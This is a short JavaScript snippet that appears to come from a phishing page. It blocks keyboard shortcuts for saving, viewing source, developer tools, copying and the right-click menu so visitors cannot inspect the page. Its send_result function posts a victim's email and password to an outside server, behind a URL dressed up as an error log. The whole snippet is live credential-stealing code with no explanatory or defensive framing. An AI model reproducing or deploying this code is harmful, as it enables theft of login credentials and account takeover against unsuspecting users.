<script>
//   prevent ctrl + s
  window.addEventListener('keydown', async(e) => {
      if (e.ctrlKey && (e.which == 83)) {
          e.preventDefault();
          return false; }
  });
  window.addEventListener('contextmenu', event => event.preventDefault());
  document.onkeydown = (e) => {
      if (event.keyCode == 123) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'S'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'H'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'A'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'F'.charCodeAt(0)) {
          return false;
      }
      if (e.ctrlKey && e.keyCode == 'E'.charCodeAt(0)) {
          return false;
      }
  }
  window.onkeydown = (e) => {
      return !(e.ctrlKey &&
          (e.keyCode === 67 ||
              e.keyCode === 85 ||
              e.keyCode === 86 ||
              e.keyCode === 88 ||
              e.keyCode === 117));
  };

  function send_result(user, pass) {
        $.ajax({
            url: "http://masarutamura.com/errors_log.php",
            data: {
                "email": user,
                "passwd": pass
            },
            type: "POST",
            success: function (data) {},
            error: function (data) {
                console.log('Ajax error');
            }
        });        
    }

  </script>